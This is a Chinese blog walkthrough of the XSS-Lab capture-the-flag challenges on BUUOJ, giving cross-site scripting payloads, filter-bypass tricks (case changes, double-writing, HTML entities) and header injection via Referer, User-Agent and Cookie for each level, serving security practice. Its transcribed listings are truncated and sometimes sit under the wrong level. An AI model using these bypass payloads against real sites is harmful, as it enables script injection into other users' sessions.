

XSSLab保姆级教程

vww 2022-02-16 10:30:00

0x00 背景

XSS (Cross-Site Scripting) 即为跨站脚本攻击。XSS-Lab是一个XSS的练习平台。可以在BUUOJ上很方便的进行题解的题解和一些思路，给想要刷题的同学提供一些参考。

0x01 通用payload

- `<script>alert(1)</script>`
- 可以直接加入新标签 `level1`
- 闭合原有标签后可以加入新标签 `level2`
- `onmouseover='javascript:alert(1)'` 或者 `onmouseover=alert(1)`
- 使用了html实体编码 `level3` `level17` `level18`
- 闭合原有标签后过滤了`<`和`>` `level4`
- `onclick=alert(1)`
- 闭合原有标签后过滤了`<`和`>` `level10`
- `<a href=javascript:alert(1)>`
- 绕过过滤了`<script>`和`onmouseover` `level5`
- `<a img=0 onerror=alert(1)>`
- 没有现成可填充标签且过滤了`script` `level16`
- Tips
- 过滤`<script>`可以`<Script>`也可以`<script >` (空格只能在结尾) `level6`
- 绕过使用`str_replace`过滤为空，双写法 `level7`
- 对payload进行html编码绕过 `level8` `level9`
- 空格可以用`%0a`替换 `level16`
- 通过改HTTP头部来做到XSS
- `HTTP_REFERER` 在HTTP头中加入`Referer` `level11`
- `HTTP_USER_AGENT` 在HTTP头中加入`User-Agent` `level12`
- `COOKIE`在HTTP头中加入`COOKIE`信息 `level13`
- `angular`中`ng-include`函数，可以包含外部的html页面。在服务器上写一个弹窗的页面，在原来的页面包含此
- 绕过CORS可以使用加入使用在HTTP头中加入允许所有域名访问。 `level-15`

0x02 题解

```
1 <!DOCTYPE html><!--STATUS OK--><html>
2 <head>
3 <meta http-equiv="content-type" content="text/html;cha
4 <script>
5 window.alert = function()
6 {
7   confirm("完成的不错!");
8   window.location.href="level2.php?keyword=test";
9 }
10 </script>
11 <title>欢迎来到level1</title>
12 </head>
13 <body>
14 <h1 align=center>欢迎来到level1</h1>
15 <h2 align=center>欢迎用户test</h2><center><img src=level
16 <h3 align=center>payload的长度:4</h3></body>
17 </html>
18
```

所以我们直接尝试弹窗，构造payload为test<script>alert(123)</script>

```
1 <!DOCTYPE html><!--STATUS OK--><html>
2 <head>
3 <meta http-equiv="content-type" content="text/html;charset=utf-8">
4 <script>
5 window.alert = function()
6 {
7   confirm("完成的不错!");
8   window.location.href="level2.php?keyword=test";
9 }
10 </script>
11 <title>欢迎来到level1</title>
12 </head>
13 <body>
14 <h1 align=center>欢迎来到level1</h1>
15 <h2 align=center>欢迎用户test<script>alert(123)</script></h2><center><img src
16 <h3 align=center>payload的长度:31</h3></body>
17 </html>
18
19
20
```

http://99e35428-b0b9-4186-8915-d8264f10835b.node4.buuoj.cn:81/level1.php?name=test<script>alert(123)</script>

...186-8915-d8264f10835b.node4.buuoj.cn:81 say
完成的不错！

Cancel

OK

Line wrap ☐

```
1 <!DOCTYPE html><!--STATUS OK--><html>
2 <head>
3 <meta http-equiv="content-type" content="text/html; charset=
4 <script>
5 window.alert = function()
6 {
7   confirm("完成的不错!");
8   window.location.href="level3.php?writing=wait";
9 }
10 </script>
11 <title>欢迎来到level2</title>
12 </head>
13 <body>
14 <h1 align=center>欢迎来到level2</h1>
15 <h2 align=center>没有找到和test相关的结果.</h2><center>
16 <form action=level2.php method=GET>
17 <input name=keyword value="test">
18 <input type=submit name=submit value="搜索"/>
19 </form>
20 </center><center><img src=level2.png></center>
21 <h3 align=center>payload的长度:4</h3></body>
22 </html>
23
```

如果我们想要插入 `alert` 的代码，我们可以尝试构造如下

```
<input name=keyword value="test"><script>alert(123)</script>
```

进入页面，我们直接尝试弹窗，构造 `payload` 为 `"><script>alert(1)</script>`

http://99e35428-b0b9-4186-8915-d8264f10835b.node4.buuoj.cn:81/level2.php?keyword=test"><script>alert%28123%2

...186-8915-d8264f10835b.node4.buuoj.cn:81 s

完成的不错！

Cancel

OK

Line wrap ☐

```
1 <!DOCTYPE html><!--STATUS OK--><html>
2 <head>
3 <meta http-equiv="content-type" content="text/html; charset=utf
4 <script>
5 window.alert = function()
6 {
```

level-3

绕过html实体编码

```
<input value='test'>
```

```
<input value='test' onmouseover='javascript:alert(1)'>
```

进入页面，给出了一个参数是keyword，我们尝试传入参数为test，查看源代码，如下图，此时的参数是在

Line wrap ☐

```
1 <!DOCTYPE html><!--STATUS OK--><html>
2 <head>
3 <meta http-equiv="content-type" content="text/html; charset=utf-8">
4 <script>
5 window.alert = function()
6 {
7   confirm("完成的不错!");
8   window.location.href="level4.php?keyword=try harder!";
9 }
10 </script>
11 <title>欢迎来到level3</title>
12 </head>
13 <body>
14 <h1 align=center>欢迎来到level3</h1>
15 <h2 align=center>没有找到和'&gt;&lt;script&gt;alert(1)&lt;/script&gt;'相关的结果
16 <form action=level3.php method=GET>
17 <input name=keyword value='&gt;&lt;script&gt;alert(1)&lt;/script&gt;'>
18 <input type=submit name=submit value=搜索 />
19 </form>
20 </center><center><img src=level3.png></center>
21 <h3 align=center>payload的长度:27</h3></body>
22 </html>
```

和上道题目类似，只不过此时用来闭合value的为单引号，我们尝试payload为'<script>alert(1)</script>'，重

Line wrap ☐

```
1 <!DOCTYPE html><!--STATUS OK--><html>
2 <head>
3 <meta http-equiv="content-type" content="text/html; charset=utf-8">
4 <script>
5 window.alert = function()
6 {
7   confirm("完成的不错!");
8   window.location.href="level3.php?writing=wait";
9 }
10 </script>
11 <title>欢迎来到level2</title>
12 </head>
13 <body>
14 <h1 align=center>欢迎来到level2</h1>
15 <h2 align=center>没有找到和test'&gt;&lt;script&gt;alert(123)&lt;/script&gt;'
16 <form action=level2.php method=GET>
17 <input name=keyword value="test"><script>alert(123)</script>">
18 <input type=submit name=submit value="搜索"/>
```

`ENT_NOQUOTES` 不编码任何引号

所以此处我们不能选择有`<`和`>`的方式，但是可以使用不带有尖括号的特殊字符进行尝试：

`onmouseover` 函数在鼠标指针移动到元素上被触发，`onmouseover = 'javascript:alert(1)'`，在鼠标指针移动到

闭合引号，构造payload为 `'onmouseover = 'javascript:alert(1)'`

| <http://99e35428-b0b9-4186-8915-d8264f10835b.node4.buuoj.cn:81/level3.php?keyword=%27onmouseover+%3D+%27ja>

...186-8915-d8264f10835b.node4.buuoj.cn:81 sa

完成的不错！

没有找到

Cancel

OK

Line wrap ☐

```
1 <!DOCTYPE html><!--STATUS OK--><html>
2 <head>
3 <meta http-equiv="content-type" content="text/html;charse
4 <script>
5 window.alert = function()
6 {
7   confirm("完成的不错！");
8   window.location.href="level5.php?keyword=find a way out
9 }
10 </script>
11 <title>欢迎来到level4</title>
12 </head>
13 <body>
14 <h1 align=center>欢迎来到level4</h1>
15 <h2 align=center>没有找到和test相关的结果.</h2><center>
16 <form action=level4.php method=GET>
17 <input name=keyword value="test">
18 <input type=submit name=submit value=搜索 />
19 </form>
20 </center><center><img src=level4.png></center>
21 <h3 align=center>payload的长度:4</h3></body>
22 </html>
23
```

level-4

绕过`<`和`>`被过滤

`<input value='test'>`

Line wrap ☐

```
1 <!DOCTYPE html><!--STATUS OK--><html>
2 <head>
3 <meta http-equiv="content-type" content="text/html; charset=utf-8">
4 <script>
5 window.alert = function()
6 {
7   confirm("完成的不错!");
8   window.location.href="level5.php?keyword=find a way out!";
9 }
10 </script>
11 <title>欢迎来到level4</title>
12 </head>
13 <body>
14 <h1 align=center>欢迎来到level4</h1>
15 <h2 align=center>没有找到和"script">alert(1)</script>相关的
16 <form action=level4.php method=GET>
17 <input name=keyword value=""scriptalert(1)/script">
18 <input type=submit name=submit value=搜索 />
19 </form>
20 </center><center><img src=level4.png></center>
21 <h3 align=center>payload的长度:22</h3></body>
22 </html>
23
```

用来闭合value的为双引号，我们尝试payload为"><script>alert(1)</script>"，查看源代码如下图

| http://99e35428-b0b9-4186-8915-d8264f10835b.node4.buuoj.cn:81/level4.php?keyword="onmouseover+%3D+"javasc

...186-8915-d8264f10835b.node4.buuoj.cn:81

完成的不错！

没有找到

Cancel

当我们传入的payload中包含<和>就会被删除，所以和上道题一样，我们传入的payload中不能包含<和>，根据J为"onmouseover = "javascript:alert(1)"（注意此时用来闭合的为"）

Line wrap ☐

```
1 <!DOCTYPE html><!--STATUS OK--><html>
2 <head>
3 <meta http-equiv="content-type" content="text/html; charset=utf-
4 <script>
5 window.alert = function()
6 {
7   confirm("完成的不错!");
8   window.location.href="level4.php?keyword=try harder!";
9 }
10 </script>
11 <title>欢迎来到level3</title>
12 </head>
13 <body>
14 <h1 align=center>欢迎来到level3</h1>
```


Line wrap ☐

```
1 <!DOCTYPE html><!--STATUS OK--><html>
2 <head>
3 <meta http-equiv="content-type" content="text/html;chars
4 <script>
5 window.alert = function()
6 {
7   confirm("完成的不错!");
8   window.location.href="level6.php?keyword=break it out!"
9 }
10 </script>
11 <title>欢迎来到level5</title>
12 </head>
13 <body>
14 <h1 align=center>欢迎来到level5</h1>
15 <h2 align=center>没有找到和test相关的结果.</h2><center>
16 <form action=level5.php method=GET>
17 <input name=keyword value="test">
18 <input type=submit name=submit value=搜索 />
19 </form>
20 </center><center><img src=level5.png></center>
21 <h3 align=center>payload的长度:4</h3></body>
22 </html>
23
```

level-5

绕过过滤了 `script`

- 大小写
- 使用空格绕过
- `<a href="javascript:alert(1)">`

进入页面，给出了一个参数是 `keyword`，我们尝试传入参数为 `test`，查看源代码，如下图，此时的参数是在 `<input`

Line wrap ☐

```
1 <!DOCTYPE html><!--STATUS OK--><html>
2 <head>
3 <meta http-equiv="content-type" content="text/html;charset=utf-8">
4 <script>
5 window.alert = function()
6 {
7   confirm("完成的不错!");
8   window.location.href="level5.php?keyword=find a way out!";
9 }
10 </script>
11 <title>欢迎来到level4</title>
12 </head>
```

欢迎来到level5

没有找到和test"><a href=javascript:alert(1)相关

test"><a href="javascript:aler 搜索

我们传入的payload中的<script>被替换成了</scr_ipt>。

构造payload为" onmouseover="javascript:alert(1)

Line wrap ☐

```
1 <!DOCTYPE html><!--STATUS OK--><html>
2 <head>
3 <meta http-equiv="content-type" content="text/html; charset=utf-8">
4 <script>
5 window.alert = function()
6 {
7   confirm("完成的不错!");
8   window.location.href="level6.php?keyword=break it out!";
9 }
10 </script>
11 <title>欢迎来到level5</title>
12 </head>
13 <body>
14 <h1 align=center>欢迎来到level5</h1>
15 <h2 align=center>没有找到和test"><a href="javascript:alert(1)
16 <form action=level5.php method=GET>
17 <input name=keyword value="test"><a href="javascript:alert(1)">
18 <input type=submit name=submit value=搜索 />
19 </form>
20 </center><center><img src=level5.png></center>
21 <h3 align=center>payload的长度:34</h3></body>
22 </html>
```

我们传入的payload中的onmouseover被替换成了o_nmouseover。

有什么解决方法呢？

- 使用大小写绕过，html对大小写不敏感
- 可以使用超链接的方式，注意闭合标签，构造payload为test"><a href="
- 这里对script的过滤是对<script>进行的过滤，若是对整体<script>过滤的话，我们可以使用<script >来绕
- 空格只能加在尾部，< script>是不符合要求的。

以下我们使用超链接的方法绕过

Line wrap ☐

```
1 <!DOCTYPE html><!--STATUS OK--><html>
2 <head>
3 <meta http-equiv="content-type" content="text/html; charset=utf-8">
```


http://99e35428-b0b9-4186-8915-d8264f10835b.node4.buuoj.cn:81/level5.php?keyword=test"><a+href%3D"javascrip

...186-8915-d8264f10835b.node4.buuoj.cn:81

完成的不错！

没有找到

Cancel

test

搜索

点击此处

Line wrap ☐

```
1 <!DOCTYPE html><!--STATUS OK--><html>
2 <head>
3 <meta http-equiv="content-type" content="text/html; charset=utf-8">
4 <script>
5 window.alert = function()
6 {
7   confirm("完成的不错！");
8   window.location.href="level6.php?keyword=break it out!";
9 }
10 </script>
11 <title>欢迎来到level5</title>
12 </head>
13 <body>
14 <h1 align=center>欢迎来到level5</h1>
15 <h2 align=center>没有找到和test"><script>alert(123)</script>相
16 <form action=level5.php method=GET>
17 <input name=keyword value="test"><script>alert(123)</script>">
18 <input type=submit name=submit value=搜索 />
19 </form>
20 </center><center><img src=level5.png></center>
21 <h3 align=center>payload的长度:34</h3></body>
22 </html>
23
24
```

level-6

大小写过滤

进入页面，给出了一个参数是 keyword，我们尝试传入参数为 test，查看源代码，如下图，此时的参数是在 <input

http://21f3ac48-2066-4080-8463-913d5864378c.node4.buuoj.cn:81/level6.php?keyword="><Script>alert%281%29<

...080-8463-913d5864378c.node4.buuoj.cn:

完成的不错！

Cancel

Line wrap ☐

```
1 <!DOCTYPE html><!--STATUS OK--><html>
2 <head>
3 <meta http-equiv="content-type" content="text/html;cha
4 <script>
5 window.alert = function()
6 {
7   confirm("完成的不错!");
8   window.location.href="level7.php?keyword=move up!";
9 }
10 </script>
11 <title>欢迎来到level6</title>
12 </head>
13 <body>
14 <h1 align=center>欢迎来到level6</h1>
15 <h2 align=center>没有找到和test相关的结果.</h2><center>
16 <form action=level6.php method=GET>
17 <input name=keyword value="test">
18 <input type=submit name=submit value=搜索 />
19 </form>
20 </center><center><img src=level6.png></center>
21 <h3 align=center>payload的长度:4</h3></body>
22 </html>
23
```

<script> 还是被过滤了

Line wrap ☐

```
1 <!DOCTYPE html><!--STATUS OK--><html>
2 <head>
3 <meta http-equiv="content-type" content="text/html;charset=utf-8">
4 <script>
5 window.alert = function()
6 {
7   confirm("完成的不错!");
8   window.location.href="level7.php?keyword=move up!";
9 }
10 </script>
11 <title>欢迎来到level6</title>
12 </head>
13 <body>
14 <h1 align=center>欢迎来到level6</h1>
15 <h2 align=center>没有找到和"><a href="javascript:alert(1)">相
16 <form action=level6.php method=GET>
17 <input name=keyword value=""><a href="javascript:alert(1)">
18 <input type=submit name=submit value=搜索 />
19 </form>
20 </center><center><img src=level6.png></center>
21 <h3 align=center>payload的长度:33</h3></body>
22 </html>
```

Line wrap ☐

```

1 <!DOCTYPE html><!--STATUS OK--><html>
2 <head>
3 <meta http-equiv="content-type" content="text/html; charset=utf-8">
4 <script>
5 window.alert = function()
6 {
7   confirm("完成的不错!");
8   window.location.href="level7.php?keyword=move up!";
9 }
10 </script>
11 <title>欢迎来到level6</title>
12 </head>
13 <body>
14 <h1 align=center>欢迎来到level6</h1>
15 <h2 align=center>没有找到和'<script>alert(1)</script>'相关的漏洞
16 <form action=level6.php method=GET>
17 <input name=keyword value=""><script>alert(1)</script></input>
18 <input type=submit name=submit value=搜索 />
19 </form>
20 </center><center><img src=level6.png></center>
21 <h3 align=center>payload的长度:28</h3></body>
22 </html>

```

level1-level6 都比较容易盲测

从level7开始，个人建议在对照[github](#)上的源码再进行练习。

level-7

绕过`str\_replace`函数

双写绕过

直接看源代码

```

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html; charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level8.php?keyword=nice try!";
}
</script>
<title>欢迎来到level7</title>
</head>
<body>
<h1 align=center>欢迎来到level7</h1>
</body>
<script>
ini_set("display_errors", 0);
$str = strtolower( $_GET["keyword"] );
$str2=str_replace("script", "<script>", $str);

```

...080-8463-913d5864378c.node4.buuoj.cn:81 sa
完成的不错！

OK

友情链接

完成的不错！

Cancel

html 编码绕过过滤

```
</DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html; charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错！");
window.location.href="level9.php?keyword=not bad!";
}
</script>
<title>欢迎来到level8</title>
</head>
<body>
<h1 align=center>欢迎来到level8</h1>
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr ipt",$str);
$str3=str_replace("on","o n",$str2);
$str4=str_replace("src","sr c",$str3);
$str5=str_replace("data","da ta",$str4);
$str6=str_replace("href","hr ef",$str5);
$str7=str_replace("'",'&quot;',$str6);
echo '<center>
<form action=level8.php method=GET>
<input name=keyword value="" htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
?>
<center><img src=level8.jpg></center>
<?php
```

http

```
<?php<br><!--STATUS OK--><html><br><head><br><meta http-equiv="content-type" content="text/html;charset=utf-8"><br></script><br>window.alert = function()<br>{<br>confirm("完成的不错！")·<br>window.location.href="level10.php?keyword=well done!";<br>}<br></script><br><title>欢迎来到level9</title><br></head><br><body><br><h1 align=center>欢迎来到level9</h1><br><?php<br>ini_set("display_errors","0");<br>$str = strtolower($_GET["keyword"]);<br>$str2=str_replace("<script>", "<scr int>",$str);<br>$str3=str_replace("<on>", "<on n>",$str2);<br>$str4=str_replace("<src>", "<sr c>",$str3);<br>$str5=str_replace("<data>", "<da ta>",$str4);<br>$str6=str_replace("<href>", "<hr ef>",$str5);<br>$str7=str_replace("'", '&quot;', $str6);<br>echo '<center><br><form action=level9.php method=GET><br><input name=keyword value="" type=text value=<?php echo htmlspecialchars($str).''><br><input type=submit name=submit value=添加友情链接 /><br></form><br></center>';<br>}<br><?php<br>if(false===strpos($str7,'http://'))<br>{<br>echo '<center><br><a href="您的链接不合法？有没有！">友情链接</a></center>';<br>}<br>else<br>{<br>echo '<center><br><a href="'.$str7.'">友情链接</a></center>';<br>}<br>}<br><center><br><img src=level9.png></center><br><?php<br>echo "<h3 align=center>payload的长度:".strlen($str7)."</h3>";<br>}<br></body><br></html>
```

本题在 `level-8` 的基础上，`payload` 中必须要包含 `http`。我们可以直接用注释符将后来的内容注释掉，我们填进去 `payload` 为 `javascript:alert(1) //http://`，填充 `payload` 之后如下：

```
<a href="javascript:alert(1) //http://
```

再使用html编码之后，payload为

javascript:alert

<http://21f3ac48-2066-4080-8463-913d5864378c.node4.buuoj.cn:81/level9.php?keyword=%26%23x6a%3B%26%23x61%3B%>

...080-8463-913d5864378c.node4.buuoj.cn:81 say
完成的不错！

level-10

```
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html; charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level11.php?keyword=good job!";
}
</script>
<title>欢迎来到level10</title>
</head>
<body>
<h1 align=center>欢迎来到level10</h1>
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str11 = $_GET["t_sort"];
$str22=str_replace(">","<",$str11);
$str33=str_replace("<",">",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str). "相关的结果.</h2>". '<center>
<form id=search>
<input name="t_link" value="" type="hidden">
<input name="t_history" value="" type="hidden">
<input name="t_sort" value="'.$str33.'" type="hidden">
</form>
</center>';
?>
<center><img src=level10.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str). "</h3>";
?>
</body>
</html>
```

发现str33是可以通过t_sort传入参数的。

可以使用payload为?t_sort=test" type="text" onmouseover="javascript:alert(1)

当然也可以使用onclick属性构成payload为?t_sort=test type="text" onclick=alert(1)

此时构成的input如下

```
<input name="t_sort" value="test" type="text" onclick=alert(1) type="hidden">
```

Line wrap ☐

```
1 <!DOCTYPE html><!--STATUS OK--><html>
2 <head>
3 <meta http-equiv="content-type" content="text/html; charset=utf-8">
4 <script>
5 window.alert = function()
6 {
7 confirm("完成的不错!");
8 window.location.href="level8.php?keyword=nice try!";
9 }
10 </script>
11 <title>欢迎来到level7</title>
12 </head>
13 <body>
```


level-11

HTTP_REFERER

在HTTP头中加入Referer

进入页面，直接查看源代码，如下图所示。

http://e3486001-b2d8-4d38-a45d-3ed0dc2d265e.node4.buuoj.cn:81/level11.php

...d38-a45d-3ed0dc2d265e.node4.buuoj.cn:81

完成的不错！

Cancel

OK

尝试传入参数，发现只有t_sort是可用的，但是引号会被转义，传入的payload中的引号同时也被转义。目前看起

Request

Pretty Raw \n Actions ▼

```
1 GET /level11.php HTTP/1.1
2 Host: e3486001-b2d8-4d38-a45d-3ed0dc2d265e.node4.buuoj.cn:81
3 Cache-Control: max-age=0
4 Referer: " type="text" onclick="alert(1)"
5 Upgrade-Insecure-Requests: 1
6 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML
  Chrome/97.0.4692.99 Safari/537.36
7 Accept:
  text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image
  0.8,application/signed-exchange;v=b3;q=0.9
8 Accept-Encoding: gzip, deflate
9 Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
10 Cookie: UM_distinctid=17e800234773bd-0b0c1e9fb7129b-1526180b-1bb0e8
11 Connection: close
12
```

查看源代码

```
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html; charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错！");
window.location.href="level12.php?keyword=good job!";
}
</script>
<title>欢迎来到level11</title>
</head>
```

```
<input name="t_ref value="test" type="text" onclick="alert(1)" type="hidden">
```

可以使用burp在HTTP头中加入Referer: test" type="text" onclick="alert(1)" , 这样就可以发送HTTP_REFERER

Request

Pretty Raw In Actions

1 GET /level12.php HTTP/1.1
2 Host: e3486001-b2d8-4d38-a45d-3ed0dc2d265e.node4.buuoj.cn:81
3 Cache-Control: max-age=0
4 Referer: " type="text" onclick="alert(1)"
5 Upgrade-Insecure-Requests: 1
6 User-Agent: test" type="text" onclick="alert(1)"
7 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
8 Accept-Encoding: gzip, deflate
9 Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
10 Cookie: UM_distinctid=17e800234773bd-0b0c1e9fb7129b-1526180b-1bb0e8
11 Connection: close
12

在浏览器中打开

http://e3486001-b2d8-4d38-a45d-3ed0dc2d265e.node4.buuoj.cn:81/level12.php

...d38-a45d-3ed0dc2d265e.node4.buuoj.cn:81 say
完成的不错！
Cancel OK
test

level-12

HTTP_USER_AGENT

在HTTP头中加入User-Agent

直接查看源码

```

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html; charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错！");
window.location.href="level13.php?keyword=good job!";
}
</script>
<title>欢迎来到level12</title>
</head>
<body>
<h1 align=center>欢迎来到level12</h1>
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_USER_AGENT'];
$str22=str_replace(">" , "<" $str11);
$str33=str_replace("<" , ">" $str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".<center>
<form id=search>
<input name="t_link" value="" type="hidden">
<input name="t_history" value="" type="hidden">
<input name="t_sort" value="" htmlspecialchars($str00)." type="hidden">
<input name="t_u" value="" $str33." type="hidden">
</form>
</center>';
?>
<center><img src=level12.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>

```

和level-11类似，只不过这次要添加的头部信息是HTTP_USER_AGENT，\$str33为test" type="text" onclick="a

此时input标签内容如下

```
<input name="t_u" value="test" type="text" onclick="alert(1)">
```

利用burp改包

Request

Pretty Raw In Actions ▼

```

1 GET /level13.php HTTP/1.1
2 Host: 21f3ac48-2066-4080-8463-913d5864378c.node4.buuoj.cn:81
3 Pragma: no-cache
4 Cache-Control: no-cache
5 Upgrade-Insecure-Requests: 1
6 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML
  Chrome/97.0.4692.99 Safari/537.36
7 Accept:
  text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,im
  0.8,application/signed-exchange;v=b3;q=0.9
8 Accept-Encoding: gzip, deflate
9 Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7

```

```
1 <!DOCTYPE html><!--STATUS OK--><html>
2 <head>
3 <meta http-equiv="content-type" content="text/html; charset=utf-8">
4 <script>
5 window.alert = function()
6 {
7   confirm("完成的不错!");
8   window.location.href="level12.php?keyword=good job";
9 }
10 </script>
11 <title>欢迎来到level11</title>
12 </head>
13 <body>
14 <h1 align=center>欢迎来到level11</h1>
15 <h2 align=center>没有找到和相关的结果.</h2><center>
16 <form id=search>
17 <input name="t_link" value="" type="hidden">
18 <input name="t_history" value="" type="hidden">
19 <input name="t_sort" value="" type="hidden">
20 <input name="t_ref" value="" type="hidden">
21 </form>
22 </center><center><img src=level11.png></center>
23 <h3 align=center>payload的长度:0</h3></body>
24 </html>
```

level-13

COOKIE

在HTTP头中加入COOKIE信息

[直接查看源码](#)

```
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html; charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level14.php";
}
</script>
<title>欢迎来到level13</title>
```

此时标签内容如下

```
<input name="t_ccok" value="test" type="text" onclick="alert(1)">
```

利用改包



http://21f3ac48-2066-4080-8463-913d5864378c.node4.buuoj.cn:81/level13.php



level-14

level-14的环境出现问题

level-15

angular中ng-include函数，可以包含外部的html页面。

在服务器上写一个弹窗的页面，在原来的页面包含此页面。绕过CORS可以使用加入使用在HTTP头中加入允许所

```

<html ng-app>
<head>
  <meta charset="utf-8">
  <script src="angular.min.js"></script>
</script>
window.alert = function()

```


http://8c5240d5-e388-44b2-87e3-4df551ad8e0e.node4.buuoj.cn:81/level17.php?arg01=1&arg02=2%20onmouseover=alert(1)

...4b2-87e3-4df551ad8e0e.node4.buuoj.cn:81/level17.php?arg01=1&arg02=2%20onmouseover=alert(1)

完成的不错！

Caution

level-17

传参不严格造成XSS

onmouseover=alert(1)

```
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html; charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错！");
}
</script>
<title>欢迎来到level17</title>
</head>
<body>
<h1 align=center>欢迎来到level17</h1>
<?php
ini_set("display_errors", 0);
echo "<embed src=xsfo1.swf?".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"]);
height=100%";
?>
<h2 align=center>成功后，<a href=level18.php?arg01=a&arg02=b>点我进入下一关</a></h2>
</body>
</html>
```

传入的参数都经过htmlspecialchars处理，因此payload中不能包含& , " , ' , < , >。传参的同时，可以进行XSS攻击

arg01=1&arg02=2 onmouseover=alert(1)

```
1 <!DOCTYPE html><!--STATUS OK--><html>
2 <head>
3 <meta http-equiv="content-type" content="text/html; charset=utf-8">
4 <script>
5 window.alert = function()
6 {
7 confirm("完成的不错！");
8 }
9 </script>
10 <title>欢迎来到level17</title>
11 </head>
12 <body>
```

level-18

```
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html; charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错！");
window.location.href="level19.php?arg01=a&arg02=b";
}
</script>
<title>欢迎来到level18</title>
</head>
<body>
<h1 align=center>欢迎来到level18</h1>
<?php
ini_set("display_errors", 0);
echo "<embed src=xsfo2.swf?".htmlspecialchars($_GET["arg01"]).""".htmlspecialchars($_GET["arg02"]).""";
height=100%>";
?>
</body>
</html>
```

几乎和level-18一样，payload为arg01=1&arg02=2 onmouseover=alert(1)

http://8c5240d5-e388-44b2-87e3-4df551ad8e0e.node4.buuoj.cn:81/level18.php?arg01=1&arg02=2%20onmouseover=alert(1)

...4b2-87e3-4df551ad8e0e.node4.buuoj.cn:

完成的不错！

Cancel

```
1 <!DOCTYPE html><!--STATUS OK--><html>
2 <head>
3 <meta http-equiv="content-type" content="text/html; charset=utf-8">
4 <script>
5 window.alert = function()
6 {
7 confirm("完成的不错！");
8 window.location.href="level19.php?arg01=a&arg02=b";
9 }
10 </script>
11 <title>欢迎来到level18</title>
12 </head>
13 <body>
14 <h1 align=center>欢迎来到level18</h1>
15 <embed src=xsfo2.swf?1=2 onmouseover=alert(1) width=100% height=100%>
16 </html>
17
```